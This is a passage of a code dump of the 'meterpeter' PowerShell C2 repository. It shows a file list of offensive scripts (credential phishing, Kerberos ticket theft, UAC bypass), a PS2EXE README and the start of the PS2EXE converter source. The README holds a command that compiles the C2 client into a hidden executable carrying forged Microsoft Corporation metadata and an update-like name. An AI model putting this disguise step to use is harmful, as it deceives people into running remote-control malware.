Full Code of r00t-3xp10it/meterpeter for AI

master 98477d768d75 cached
26 files
586.4 KB
166.4k tokens
2 symbols
1 requests
Download .txt
Showing preview only (605K chars total). Download the full file or copy to clipboard to get everything.
Repository: r00t-3xp10it/meterpeter
Branch: master
Commit: 98477d768d75
Files: 26
Total size: 586.4 KB

Directory structure:
gitextract_79aih8sk/

├── PS2EXE/
│   ├── README.md
│   └── ps2exe.ps1
├── README.md
├── meterpeter.ps1
└── mimiRatz/
    ├── ACLMitreT1574.ps1
    ├── C2Prank.ps1
    ├── CMSTPTrigger.ps1
    ├── CScrandle_fileless.cs
    ├── CredsPhish.ps1
    ├── FWUprank.ps1
    ├── FindEop.ps1
    ├── GetBrowsers.ps1
    ├── GetKerbTix.ps1
    ├── Invoke-Winget.ps1
    ├── SendToPasteBin.ps1
    ├── SuperHidden.ps1
    ├── UACeop.ps1
    ├── Update-FileLess.bat
    ├── Update-KB5005101.bat
    ├── keymanager.ps1
    ├── mscore.ps1
    ├── shorturl.ps1
    ├── theme/
    │   ├── Update-KB5005101.html
    │   └── banner.mp
    ├── update.hta
    └── update.ps1

================================================
FILE CONTENTS
================================================

================================================
FILE: PS2EXE/README.md
================================================
### ⚙️ PS2EXE BY: Ingo Karstein | MScholtes

- Description: Script to convert powershell scripts to standalone executables<br />
- Source     :https://gallery.technet.microsoft.com/scriptcenter/PS2EXE-GUI-Convert-e7cb69d5<br /><br />

`meterpeter users can use this script (manually) to convert the Client.ps1 to Client.exe`<br /><br />

- 1º - Copy **`'Update-KB4524147.ps1'`** build by meterpeter C2 to **`'PS2EXE'`** directory.
- 2º - Open Powershell terminal console in **`'PS2EXE'`** directory (none admin privs required)
- 3º - Execute the follow command to convert the Client.ps1 to standalone executable<br />

```
.\ps2exe.ps1 -inputFile 'Update-KB4524147.ps1' -outputFile 'Update-KB4524147.exe' -iconFile 'meterpeter.ico' -title 'meterpeter binary file' -version '2.10.6' -description 'meterpeter binary file' -product 'meterpeter C2 Client' -company 'Microsoft Corporation' -copyright '©Microsoft Corporation. All Rights Reserved' -noConsole -noVisualStyles -noError
```

![final](https://user-images.githubusercontent.com/23490060/88741165-d75f2f00-d136-11ea-8761-28b690f0ddf3.png)

**`REMARK:`** Client.exe (created by PS2EXEC) migth **malfunction** with meterpeter **mimiratz scripts**.

---

<br />

**Syntax:**
```
    ps2exe.ps1 [-inputFile] '<file_name>' [[-outputFile] '<file_name>'] [-verbose]
               [-debug] [-runtime20|-runtime40] [-lcid <id>] [-x86|-x64] [-STA|-MTA] [-noConsole]
               [-credentialGUI] [-iconFile '<filename>'] [-title '<title>'] [-description '<description>']
               [-company '<company>'] [-product '<product>'] [-copyright '<copyright>'] [-trademark '<trademark>']
               [-version '<version>'] [-configFile] [-noOutput] [-noError] [-noVisualStyles] [-requireAdmin]
               [-supportOS] [-virtualize] [-longPaths]

     inputFile = Powershell script that you want to convert to executable
    outputFile = destination executable file name, defaults to inputFile with extension '.exe'
     runtime20 = this switch forces PS2EXE to create a config file for the generated executable that contains the
                 "supported .NET Framework versions" setting for .NET Framework 2.0/3.x for PowerShell 2.0
     runtime40 = this switch forces PS2EXE to create a config file for the generated executable that contains the
                 "supported .NET Framework versions" setting for .NET Framework 4.x for PowerShell 3.0 or higher
    x86 or x64 = compile for 32-bit or 64-bit runtime only
          lcid = location ID for the compiled executable. Current user culture if not specified
    STA or MTA = 'Single Thread Apartment' or 'Multi Thread Apartment' mode
     noConsole = the resulting executable will be a Windows Forms app without a console window
 credentialGUI = use GUI for prompting credentials in console mode
      iconFile = icon file name for the compiled executable
         title = title information (displayed in details tab of Windows Explorer's properties dialog)
   description = description information (not displayed, but embedded in executable)
       company = company information (not displayed, but embedded in executable)
       product = product information (displayed in details tab of Windows Explorer's properties dialog)
     copyright = copyright information (displayed in details tab of Windows Explorer's properties dialog)
     trademark = trademark information (displayed in details tab of Windows Explorer's properties dialog)
       version = version information (displayed in details tab of Windows Explorer's properties dialog)
    configFile = write config file (<outputfile>.exe.config)
      noOutput = the resulting executable will generate no standard output (includes verbose and information channel)
       noError = the resulting executable will generate no error output (includes warning and debug channel)
noVisualStyles = disable visual styles for a generated windows GUI application (only with -noConsole)
  requireAdmin = if UAC is enabled, compiled executable run only in elevated context (UAC dialog appears if required)
     supportOS = use functions of newest Windows versions (execute [Environment]::OSVersion to see the difference)
   virtualize = application virtualization is activated (forcing x86 runtime)
     longPaths = enable long paths ( > 260 characters) if enabled on OS (works only with Windows 10)

```


================================================
FILE: PS2EXE/ps2exe.ps1
================================================
<#
.SYNOPSIS
   Converts powershell scripts to standalone executables.

.DESCRIPTION
   Converts powershell scripts to standalone executables. GUI output and input is activated with one switch,
   real windows executables are generated. You may use the graphical front end Win-PS2EXE for convenience.

   Please see Remarks on project page for topics "GUI mode output formatting", "Config files", "Password security",
   "Script variables" and "Window in background in -noConsole mode".

   A generated executables has the following reserved parameters:
   -debug              Forces the executable to be debugged. It calls "System.Diagnostics.Debugger.Break()".
   -extract:<FILENAME> Extracts the powerShell script inside the executable and saves it as FILENAME. The script will not be executed.
   -wait               At the end of the script execution it writes "Hit any key to exit..." and waits for a key to be pressed.
   -end                All following options will be passed to the script inside the executable. All preceding options are used by the executable itself.

.PARAMETER inputFile
   Powershell script to convert to executable
   
.PARAMETER outputFile
   destination executable file name, defaults to inputFile with extension '.exe'
   
.PARAMETER runtime20
   this switch forces PS2EXE to create a config file for the generated executable that contains the "supported .NET Framework versions" setting for .NET Framework 2.0/3.x for PowerShell 2.0

.PARAMETER runtime40
   this switch forces PS2EXE to create a config file for the generated executable that contains the "supported .NET Framework versions" setting for .NET Framework 4.x for PowerShell 3.0 or higher

.PARAMETER x86
   compile for 32-bit runtime only

.PARAMETER x64
   compile for 64-bit runtime only
   
.PARAMETER lcid
   location ID for the compiled executable. Current user culture if not specified
   
.PARAMETER STA
   Single Thread Apartment mode
   
.PARAMETER MTA
   Multi Thread Apartment mode
   
.PARAMETER nested
   internal use

.PARAMETER noConsole
   the resulting executable will be a Windows Forms app without a console window. You might want to pipe your output to Out-String to prevent a message box for every line of output (example: dir C:\ | Out-String)

.PARAMETER credentialGUI
   use GUI for prompting credentials in console mode instead of console input

.PARAMETER iconFile
   icon file name for the compiled executable

.PARAMETER title
   title information (displayed in details tab of Windows Explorer's properties dialog)

.PARAMETER description
   description information (not displayed, but embedded in executable)

.PARAMETER company
   company information (not displayed, but embedded in executable)

.PARAMETER product
   product information (displayed in details tab of Windows Explorer's properties dialog)

.PARAMETER copyright
   copyright information (displayed in details tab of Windows Explorer's properties dialog)

.PARAMETER trademark
   trademark information (displayed in details tab of Windows Explorer's properties dialog)

.PARAMETER version
   version information (displayed in details tab of Windows Explorer's properties dialog)

.PARAMETER configFile
   write a config file (<outputfile>.exe.config)

.PARAMETER noConfigFile
   compatibility parameter

.PARAMETER noOutput
   the resulting executable will generate no standard output (includes verbose and information channel)

.PARAMETER noError
   the resulting executable will generate no error output (includes warning and debug channel)

.PARAMETER noVisualStyles
   disable visual styles for a generated windows GUI application. Only applicable with parameter -noConsole

.PARAMETER requireAdmin
   if UAC is enabled, compiled executable will run only in elevated context (UAC dialog appears if required)

.PARAMETER supportOS
   use functions of newest Windows versions (execute [Environment]::OSVersion to see the difference)

.PARAMETER virtualize
   application virtualization is activated (forcing x86 runtime)

.PARAMETER longPaths
   enable long paths ( > 260 characters) if enabled on OS (works only with Windows 10)

.EXAMPLE
   ps2exe.ps1 C:\Data\MyScript.ps1
   Compiles C:\Data\MyScript.ps1 to C:\Data\MyScript.exe as console executable

.EXAMPLE
   ps2exe.ps1 -inputFile C:\Data\MyScript.ps1 -outputFile C:\Data\MyScriptGUI.exe -iconFile C:\Data\Icon.ico -noConsole -title "MyScript" -version 0.0.0.1
   Compiles C:\Data\MyScript.ps1 to C:\Data\MyScriptGUI.exe as graphical executable, icon and meta data

.NOTES
   Version: 0.5.0.21
   Date: 2020-07-10
   Author: Ingo Karstein, Markus Scholtes

.LINK
   https://gallery.technet.microsoft.com/PS2EXE-GUI-Convert-e7cb69d5
#>

Param([STRING]$inputFile = $NULL, [STRING]$outputFile = $NULL, [SWITCH]$verbose, [SWITCH]$debug, [SWITCH]$runtime20, [SWITCH]$runtime40,
	[SWITCH]$x86, [SWITCH]$x64, [int]$lcid, [SWITCH]$STA, [SWITCH]$MTA, [SWITCH]$nested, [SWITCH]$noConsole, [SWITCH]$credentialGUI,
	[STRING]$iconFile = $NULL, [STRING]$title, [STRING]$description, [STRING]$company, [STRING]$product, [STRING]$copyright, [STRING]$trademark,
	[STRING]$version, [SWITCH]$configFile, [SWITCH]$noConfigFile, [SWITCH]$noOutput, [SWITCH]$noError, [SWITCH]$noVisualStyles, [SWITCH]$requireAdmin,
	[SWITCH]$supportOS, [SWITCH]$virtualize, [SWITCH]$longPaths)

<################################################################################>
<##                                                                            ##>
<##      PS2EXE-GUI v0.5.0.21                                                  ##>
<##      Written by: Ingo Karstein (http://blog.karstein-consulting.com)       ##>
<##      Reworked and GUI support by Markus Scholtes                           ##>
<##                                                                            ##>
<##      This script is released under Microsoft Public Licence                ##>
<##          that can be downloaded here:                                      ##>
<##          http://www.microsoft.com/opensource/licenses.mspx#Ms-PL           ##>
<##                                                                            ##>
<################################################################################>

if (!$nested)
{
	Write-Output "   PS2EXE - v0.5.0.21 by Ingo Karstein, reworked and GUI support by Markus Scholtes"
}
else
{
	Write-Output "PowerShell 2.0 environment started..."
}

if ([STRING]::IsNullOrEmpty($inputFile))
{
	Write-Output "Usage:`n"
	Write-Output "powershell.exe -command ""&'.\ps2exe.ps1' [-inputFile] '<filename>' [[-outputFile] '<filename>'] [-verbose]"
	Write-Output "               [-debug] [-runtime20|-runtime40] [-x86|-x64] [-lcid <id>] [-STA|-MTA] [-noConsole]"
	Write-Output "               [-credentialGUI] [-iconFile '<filename>'] [-title '<title>'] [-description '<description>']"
	Write-Output "               [-company '<company>'] [-product '<product>'] [-copyright '<copyright>'] [-trademark '<trademark>']"
	Write-Output "               [-version '<version>'] [-configFile] [-noOutput] [-noError] [-noVisualStyles] [-requireAdmin]"
	Write-Output "               [-supportOS] [-virtualize] [-longPaths]""`n"
	Write-Output "     inputFile = Powershell script that you want to convert to executable"
	Write-Output "    outputFile = destination executable file name, defaults to inputFile with extension '.exe'"
	Write-Output "     runtime20 = this switch forces PS2EXE to create a config file for the generated executable that contains the"
	Write-Output "                 ""supported .NET Framework versions"" setting for .NET Framework 2.0/3.x for PowerShell 2.0"
	Write-Output "     runtime40 = this switch forces PS2EXE to create a config file for the generated executable that contains the"
	Write-Output "                 ""supported .NET Framework versions"" setting for .NET Framework 4.x for PowerShell 3.0 or higher"
	Write-Output "    x86 or x64 = compile for 32-bit or 64-bit runtime only"
	Write-Output "          lcid = location ID for the compiled executable. Current user culture if not specified"
	Write-Output "    STA or MTA = 'Single Thread Apartment' or 'Multi Thread Apartment' mode"
	Write-Output "     noConsole = the resulting executable will be a Windows Forms app without a console window"
	Write-Output " credentialGUI = use GUI for prompting credentials in console mode"
	Write-Output "      iconFile = icon file name for the compiled executable"
	Write-Output "         title = title information (displayed in details tab of Windows Explorer's properties dialog)"
	Write-Output "   description = description information (not displayed, but embedded in executable)"
	Write-Output "       company = company information (not displayed, but embedded in executable)"
	Write-Output "       product = product information (displayed in details tab of Windows Explorer's properties dialog)"
	Write-Output "     copyright = copyright information (displayed in details tab of Windows Explorer's properties dialog)"
	Write-Output "     trademark = trademark information (displayed in details tab of Windows Explorer's properties dialog)"
	Write-Output "       version = version information (displayed in details tab of Windows Explorer's properties dialog)"
	Write-Output "    configFile = write a config file (<outputfile>.exe.config)"
	Write-Output "      noOutput = the resulting executable will generate no standard output (includes verbose and information channel)"
	Write-Output "       noError = the resulting executable will generate no error output (includes warning and debug channel)"
	Write-Output "noVisualStyles = disable visual styles for a generated windows GUI application (only with -noConsole)"
	Write-Output "  requireAdmin = if UAC is enabled, compiled executable run only in elevated context (UAC dialog appears if required)"
	Write-Output "     supportOS = use functions of newest Windows versions (execute [Environment]::OSVersion to see the difference)"
	Write-Output "    virtualize = application virtualization is activated (forcing x86 runtime)"
	Write-Output "     longPaths = enable long paths ( > 260 characters) if enabled on OS (works only with Windows 10)`n"
	Write-Output "Input file not specified!"
	exit -1
}

$psversion = 0
if ($PSVersionTable.PSVersion.Major -ge 4)
{
	$psversion = 4
	#Write-Output "You are using PowerShell 4.0 or above."
}

if ($PSVersionTable.PSVersion.Major -eq 3)
{
	$psversion = 3
	Write-Output "You are using PowerShell 3.0."
}

if ($PSVersionTable.PSVersion.Major -eq 2)
{
	$psversion = 2
	Write-Output "You are using PowerShell 2.0."
}

if ($psversion -eq 0)
{
	Write-Error "The powershell version is unknown!"
	exit -1
}

# retrieve absolute paths independent if path is given relative oder absolute
$inputFile = $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath($inputFile)
if ([STRING]::IsNullOrEmpty($outputFile))
{
	$outputFile = ([System.IO.Path]::Combine([System.IO.Path]::GetDirectoryName($inputFile), [System.IO.Path]::GetFileNameWithoutExtension($inputFile)+".exe"))
}
else
{
	$outputFile = $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath($outputFile)
}

if (!(Test-Path $inputFile -PathType Leaf))
{
	Write-Error "   Input file  => $($inputfile) not found!"
	exit -1
}

if ($inputFile -eq $outputFile)
{
	Write-Error "   Input file is identical to output file!"
	exit -1
}

if (($outputFile -notlike "*.exe") -and ($outputFile -notlike "*.com"))
{
	Write-Error "Output file must have extension '.exe' or '.com'!"
	exit -1
}

if (!([STRING]::IsNullOrEmpty($iconFile)))
{
	# retrieve absolute path independent if path is given relative oder absolute
	$iconFile = $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath($iconFile)

	if (!(Test-Path $iconFile -PathType Leaf))
	{
		Write-Error "Icon file $($iconFile) not found!"
		exit -1
	}
}

if ($requireAdmin -and $virtualize)
{
	Write-Error "-requireAdmin cannot be combined with -virtualize"
	exit -1
}
if ($supportOS -and $virtualize)
{
	Write-Error "-supportOS cannot be combined with -virtualize"
	exit -1
}
if ($longPaths -and $virtualize)
{
	Write-Error "-longPaths cannot be combined with -virtualize"
	exit -1
}

if ($runtime20 -and $runtime40)
{
	Write-Error "You cannot use switches -runtime20 and -runtime40 at the same time!"
	exit -1
}

if (!$runtime20 -and !$runtime40)
{
	if ($psversion -eq 4)
	{
		$runtime40 = $TRUE
	}
	elseif ($psversion -eq 3)
	{
		$runtime40 = $TRUE
	}
	else
	{
		$runtime20 = $TRUE
	}
}

if ($runtime20 -and $longPaths)
{
	Write-Error "Long paths are only available with .Net 4"
	exit -1
}

$CFGFILE = $FALSE
if ($configFile)
{ $CFGFILE = $TRUE
	if ($noConfigFile)
	{
		Write-Error "-configFile cannot be combined with -noConfigFile"
		exit -1
	}
}
if (!$CFGFILE -and $longPaths)
{
	Write-Warning "Forcing generation of a config file, since the option -longPaths requires this"
	$CFGFILE = $TRUE
}

if ($STA -and $MTA)
{
	Write-Error "You cannot use switches -STA and -MTA at the same time!"
	exit -1
}

if ($psversion -ge 3 -and $runtime20)
{
	Write-Output "To create an EXE file for PowerShell 2.0 on PowerShell 3.0 or above this script now launches PowerShell 2.0...`n"

	$arguments = "-inputFile '$($inputFile)' -outputFile '$($outputFile)' -nested "

	if ($verbose) { $arguments += "-verbose "}
	if ($debug) { $arguments += "-debug "}
	if ($runtime20) { $arguments += "-runtime20 "}
	if ($x86) { $arguments += "-x86 "}
	if ($x64) { $arguments += "-x64 "}
	if ($lcid) { $arguments += "-lcid $lcid "}
	if ($STA) { $arguments += "-STA "}
	if ($MTA) { $arguments += "-MTA "}
	if ($noConsole) { $arguments += "-noConsole "}
	if (!([STRING]::IsNullOrEmpty($iconFile))) { $arguments += "-iconFile '$($iconFile)' "}
	if (!([STRING]::IsNullOrEmpty($title))) { $arguments += "-title '$($title)' "}
	if (!([STRING]::IsNullOrEmpty($description))) { $arguments += "-description '$($description)' "}
	if (!([STRING]::IsNullOrEmpty($company))) { $arguments += "-company '$($company)' "}
	if (!([STRING]::IsNullOrEmpty($product))) { $arguments += "-product '$($product)' "}
	if (!([STRING]::IsNullOrEmpty($copyright))) { $arguments += "-copyright '$($copyright)' "}
	if (!([STRING]::IsNullOrEmpty($trademark))) { $arguments += "-trademark '$($trademark)' "}
	if (!([STRING]::IsNullOrEmpty($version))) { $arguments += "-version '$($version)' "}
	if ($noOutput) { $arguments += "-noOutput "}
	if ($noError) { $arguments += "-noError "}
	if ($requireAdmin) { $arguments += "-requireAdmin "}
	if ($virtualize) { $arguments += "-virtualize "}
	if ($credentialGUI) { $arguments += "-credentialGUI "}
	if ($supportOS) { $arguments += "-supportOS "}
	if ($configFile) { $arguments += "-configFile "}
	if ($noConfigFile) { $arguments += "-noConfigFile "}

	if ($MyInvocation.MyCommand.CommandType -eq "ExternalScript")
	{	# ps2exe.ps1 is running (script)
		$jobScript = @"
."$($PSHOME)\powershell.exe" -version 2.0 -command "&'$($MyInvocation.MyCommand.Path)' $($arguments)"
"@
	}
	else
	{ # ps2exe.exe is running (compiled script)
		Write-Warning "The parameter -runtime20 is not supported for compiled ps2exe.ps1 scripts."
		Write-Warning "Compile ps2exe.ps1 with parameter -runtime20 and call the generated executable (without -runtime20)."
		exit -1
	}

	Invoke-Expression $jobScript

	exit 0
}

if ($psversion -lt 3 -and $runtime40)
{
	Write-Error "You need to run ps2exe in an Powershell 3.0 or higher environment to use parameter -runtime40"
	exit -1
}

if ($psversion -lt 3 -and !$MTA -and !$STA)
{
	# Set default apartment mode for powershell version if not set by parameter
	$MTA = $TRUE
}

if ($psversion -ge 3 -and !$MTA -and !$STA)
{
	# Set default apartment mode for powershell version if not set by parameter
	$STA = $TRUE
}

# escape escape sequences in version info
$title = $title -replace "\\", "\\"
$product = $product -replace "\\", "\\"
$copyright = $copyright -replace "\\", "\\"
$trademark = $trademark -replace "\\", "\\"
$description = $description -replace "\\", "\\"
$company = $company -replace "\\", "\\"

if (![STRING]::IsNullOrEmpty($version))
{ # check for correct version number information
	if ($version -notmatch "(^\d+\.\d+\.\d+\.\d+$)|(^\d+\.\d+\.\d+$)|(^\d+\.\d+$)|(^\d+$)")
	{
		Write-Error "Version number has to be supplied in the form n.n.n.n, n.n.n, n.n or n (with n as number)!"
		exit -1
	}
}

Write-Output ""

$type = ('System.Collections.Generic.Dictionary`2') -as "Type"
$type = $type.MakeGenericType( @( ("System.String" -as "Type"), ("system.string" -as "Type") ) )
$o = [Activator]::CreateInstance($type)

$compiler20 = $FALSE
if ($psversion -eq 3 -or $psversion -eq 4)
{
	$o.Add("CompilerVersion", "v4.0")
}
else
{
	if (Test-Path ("$ENV:WINDIR\Microsoft.NET\Framework\v3.5\csc.exe"))
	{ $o.Add("CompilerVersion", "v3.5") }
	else
	{
		Write-Warning "No .Net 3.5 compiler found, using .Net 2.0 compiler."
		Write-Warning "Therefore some methods are not available!"
		$compiler20 = $TRUE
		$o.Add("CompilerVersion", "v2.0")
	}
}

$referenceAssembies = @("System.dll")
if (!$noConsole)
{
	if ([System.AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.ManifestModule.Name -ieq "Microsoft.PowerShell.ConsoleHost.dll" })
	{
		$referenceAssembies += ([System.AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.ManifestModule.Name -ieq "Microsoft.PowerShell.ConsoleHost.dll" } | Select-Object -First 1).Location
	}
}
$referenceAssembies += ([System.AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.ManifestModule.Name -ieq "System.Management.Automation.dll" } | Select-Object -First 1).Location

if ($runtime40)
{
	$n = New-Object System.Reflection.AssemblyName("System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")
	[System.AppDomain]::CurrentDomain.Load($n) | Out-Null
	$referenceAssembies += ([System.AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.ManifestModule.Name -ieq "System.Core.dll" } | Select-Object -First 1).Location
}

if ($noConsole)
{
	$n = New-Object System.Reflection.AssemblyName("System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")
	if ($runtime40)
	{
		$n = New-Object System.Reflection.AssemblyName("System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")
	}
	[System.AppDomain]::CurrentDomain.Load($n) | Out-Null

	$n = New-Object System.Reflection.AssemblyName("System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a")
	if ($runtime40)
	{
		$n = New-Object System.Reflection.AssemblyName("System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a")
	}
	[System.AppDomain]::CurrentDomain.Load($n) | Out-Null

	$referenceAssembies += ([System.AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.ManifestModule.Name -ieq "System.Windows.Forms.dll" } | Select-Object -First 1).Location
	$referenceAssembies += ([System.AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.ManifestModule.Name -ieq "System.Drawing.dll" } | Select-Object -First 1).Location
}

$platform = "anycpu"
if ($x64 -and !$x86) { $platform = "x64" } else { if ($x86 -and !$x64) { $platform = "x86" }}

$cop = (New-Object Microsoft.CSharp.CSharpCodeProvider($o))
$cp = New-Object System.CodeDom.Compiler.CompilerParameters($referenceAssembies, $outputFile)
$cp.GenerateInMemory = $FALSE
$cp.GenerateExecutable = $TRUE

$iconFileParam = ""
if (!([STRING]::IsNullOrEmpty($iconFile)))
{
	$iconFileParam = "`"/win32icon:$($iconFile)`""
}

$manifestParam = ""
if ($requireAdmin -or $supportOS -or $longPaths)
{
	$manifestParam = "`"/win32manifest:$($outputFile+".win32manifest")`""
	$win32manifest = "<?xml version=""1.0"" encoding=""UTF-8"" standalone=""yes""?>`r`n<assembly xmlns=""urn:schemas-microsoft-com:asm.v1"" manifestVersion=""1.0"">`r`n"
	if ($longPaths)
	{
		$win32manifest += "<application xmlns=""urn:schemas-microsoft-com:asm.v3"">`r`n<windowsSettings>`r`n<longPathAware xmlns=""http://schemas.microsoft.com/SMI/2016/WindowsSettings"">true</longPathAware>`r`n</windowsSettings>`r`n</application>`r`n"
	}
	if ($requireAdmin)
	{
		$win32manifest += "<trustInfo xmlns=""urn:schemas-microsoft-com:asm.v2"">`r`n<security>`r`n<requestedPrivileges xmlns=""urn:schemas-microsoft-com:asm.v3"">`r`n<requestedExecutionLevel level=""requireAdministrator"" uiAccess=""false""/>`r`n</requestedPrivileges>`r`n</security>`r`n</trustInfo>`r`n"
	}
	if ($supportOS)
	{
		$win32manifest += "<compatibility xmlns=""urn:schemas-microsoft-com:compatibility.v1"">`r`n<application>`r`n<supportedOS Id=""{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}""/>`r`n<supportedOS Id=""{1f676c76-80e1-4239-95bb-83d0f6d0da78}""/>`r`n<supportedOS Id=""{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}""/>`r`n<supportedOS Id=""{35138b9a-5d96-4fbd-8e2d-a2440225f93a}""/>`r`n<supportedOS Id=""{e2011457-1546-43c5-a5fe-008deee3d3f0}""/>`r`n</application>`r`n</compatibility>`r`n"
	}
	$win32manifest += "</assembly>"
	$win32manifest | Set-Content ($outputFile+".win32manifest") -Encoding UTF8
}

if (!$virtualize)
{ $cp.CompilerOptions = "/platform:$($platform) /target:$( if ($noConsole){'winexe'}else{'exe'}) $($iconFileParam) $($manifestParam)" }
else
{
	Write-Output "Application virtualization is activated, forcing x86 platfom."
	$cp.CompilerOptions = "/platform:x86 /target:$( if ($noConsole) { 'winexe' } else { 'exe' } ) /nowin32manifest $($iconFileParam)"
}

$cp.IncludeDebugInformation = $debug

if ($debug)
{
	$cp.TempFiles.KeepFiles = $TRUE
}

If($inputFile -match 'meterpeter'){$parsingPath = $inputFile -replace '\\PS2EXE',''}else{$parsingPath = $inputFile}
Write-Output "   Input  file => $parsingPath"
$content = Get-Content -LiteralPath $inputFile -Encoding UTF8 -ErrorAction SilentlyContinue
if ([STRING]::IsNullOrEmpty($content))
{
	Write-Error "No data found. May be read error or file protected."
	exit -2
}
$scriptInp = [STRING]::Join("`r`n", $content)
$script = [System.Convert]::ToBase64String(([System.Text.Encoding]::UTF8.GetBytes($scriptInp)))

$culture = ""

if ($lcid)
{
	$culture = @"
	System.Threading.Thread.CurrentThread.CurrentCulture = System.Globalization.CultureInfo.GetCultureInfo($lcid);
	System.Threading.Thread.CurrentThread.CurrentUICulture = System.Globalization.CultureInfo.GetCultureInfo($lcid);
"@
}

$programFrame = @"
// Simple PowerShell host created by Ingo Karstein (http://blog.karstein-consulting.com) for PS2EXE
// Reworked and GUI support by Markus Scholtes

using System;
using System.Collections.Generic;
using System.Text;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using PowerShell = System.Management.Automation.PowerShell;
using System.Globalization;
using System.Management.Automation.Host;
using System.Security;
using System.Reflection;
using System.Runtime.InteropServices;
$(if ($noConsole) {@"
using System.Windows.Forms;
using System.Drawing;
"@ })

[assembly:AssemblyTitle("$title")]
[assembly:AssemblyProduct("$product")]
[assembly:AssemblyCopyright("$copyright")]
[assembly:AssemblyTrademark("$trademark")]
$(if (![STRING]::IsNullOrEmpty($version)) {@"
[assembly:AssemblyVersion("$version")]
[assembly:AssemblyFileVersion("$version")]
"@ })
// not displayed in details tab of properties dialog, but embedded to file
[assembly:AssemblyDescription("$description")]
[assembly:AssemblyCompany("$company")]

namespace ik.PowerShell
{
$(if ($noConsole -or $credentialGUI) {@"
	internal class CredentialForm
	{
		[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
		private struct CREDUI_INFO
		{
			public int cbSize;
			public IntPtr hwndParent;
			public string pszMessageText;
			public string pszCaptionText;
			public IntPtr hbmBanner;
		}

		[Flags]
		enum CREDUI_FLAGS
		{
			INCORRECT_PASSWORD = 0x1,
			DO_NOT_PERSIST = 0x2,
			REQUEST_ADMINISTRATOR = 0x4,
			EXCLUDE_CERTIFICATES = 0x8,
			REQUIRE_CERTIFICATE = 0x10,
			SHOW_SAVE_CHECK_BOX = 0x40,
			ALWAYS_SHOW_UI = 0x80,
			REQUIRE_SMARTCARD = 0x100,
			PASSWORD_ONLY_OK = 0x200,
			VALIDATE_USERNAME = 0x400,
			COMPLETE_USERNAME = 0x800,
			PERSIST = 0x1000,
			SERVER_CREDENTIAL = 0x4000,
			EXPECT_CONFIRMATION = 0x20000,
			GENERIC_CREDENTIALS = 0x40000,
			USERNAME_TARGET_CREDENTIALS = 0x80000,
			KEEP_USERNAME = 0x100000,
		}

		public enum CredUIReturnCodes
		{
			NO_ERROR = 0,
			ERROR_CANCELLED = 1223,
			ERROR_NO_SUCH_LOGON_SESSION = 1312,
			ERROR_NOT_FOUND = 1168,
			ERROR_INVALID_ACCOUNT_NAME = 1315,
			ERROR_INSUFFICIENT_BUFFER = 122,
			ERROR_INVALID_PARAMETER = 87,
			ERROR_INVALID_FLAGS = 1004,
		}

		[DllImport("credui", CharSet = CharSet.Unicode)]
		private static extern CredUIReturnCodes CredUIPromptForCredentials(ref CREDUI_INFO creditUR,
			string targetName,
			IntPtr reserved1,
			int iError,
			StringBuilder userName,
			int maxUserName,
			StringBuilder password,
			int maxPassword,
			[MarshalAs(UnmanagedType.Bool)] ref bool pfSave,
			CREDUI_FLAGS flags);

		public class UserPwd
		{
			public string User = string.Empty;
			public string Password = string.Empty;
			public string Domain = string.Empty;
		}

		internal static UserPwd PromptForPassword(string caption, string message, string target, string user, PSCredentialTypes credTypes, PSCredentialUIOptions options)
		{
			// Flags und Variablen initialisieren
			StringBuilder userPassword = new StringBuilder(), userID = new StringBuilder(user, 128);
			CREDUI_INFO credUI = new CREDUI_INFO();
			if (!string.IsNullOrEmpty(message)) credUI.pszMessageText = message;
			if (!string.IsNullOrEmpty(caption)) credUI.pszCaptionText = caption;
			credUI.cbSize = Marshal.SizeOf(credUI);
			bool save = false;

			CREDUI_FLAGS flags = CREDUI_FLAGS.DO_NOT_PERSIST;
			if ((credTypes & PSCredentialTypes.Generic) == PSCredentialTypes.Generic)
			{
				flags |= CREDUI_FLAGS.GENERIC_CREDENTIALS;
				if ((options & PSCredentialUIOptions.AlwaysPrompt) == PSCredentialUIOptions.AlwaysPrompt)
				{
					flags |= CREDUI_FLAGS.ALWAYS_SHOW_UI;
				}
			}

			// den Benutzer nach Kennwort fragen, grafischer Prompt
			CredUIReturnCodes returnCode = CredUIPromptForCredentials(ref credUI, target, IntPtr.Zero, 0, userID, 128, userPassword, 128, ref save, flags);

			if (returnCode == CredUIReturnCodes.NO_ERROR)
			{
				UserPwd ret = new UserPwd();
				ret.User = userID.ToString();
				ret.Password = userPassword.ToString();
				ret.Domain = "";
				return ret;
			}

			return null;
		}
	}
"@ })

	internal class PS2EXEHostRawUI : PSHostRawUserInterface
	{
$(if ($noConsole){ @"
		// Speicher für Konsolenfarben bei GUI-Output werden gelesen und gesetzt, aber im Moment nicht genutzt (for future use)
		private ConsoleColor ncBackgroundColor = ConsoleColor.White;
		private ConsoleColor ncForegroundColor = ConsoleColor.Black;
"@ } else {@"
		const int STD_OUTPUT_HANDLE = -11;

		//CHAR_INFO struct, which was a union in the old days
		// so we want to use LayoutKind.Explicit to mimic it as closely
		// as we can
		[StructLayout(LayoutKind.Explicit)]
		public struct CHAR_INFO
		{
			[FieldOffset(0)]
			internal char UnicodeChar;
			[FieldOffset(0)]
			internal char AsciiChar;
			[FieldOffset(2)] //2 bytes seems to work properly
			internal UInt16 Attributes;
		}

		//COORD struct
		[StructLayout(LayoutKind.Sequential)]
		public struct COORD
		{
			public short X;
			public short Y;
		}

		//SMALL_RECT struct
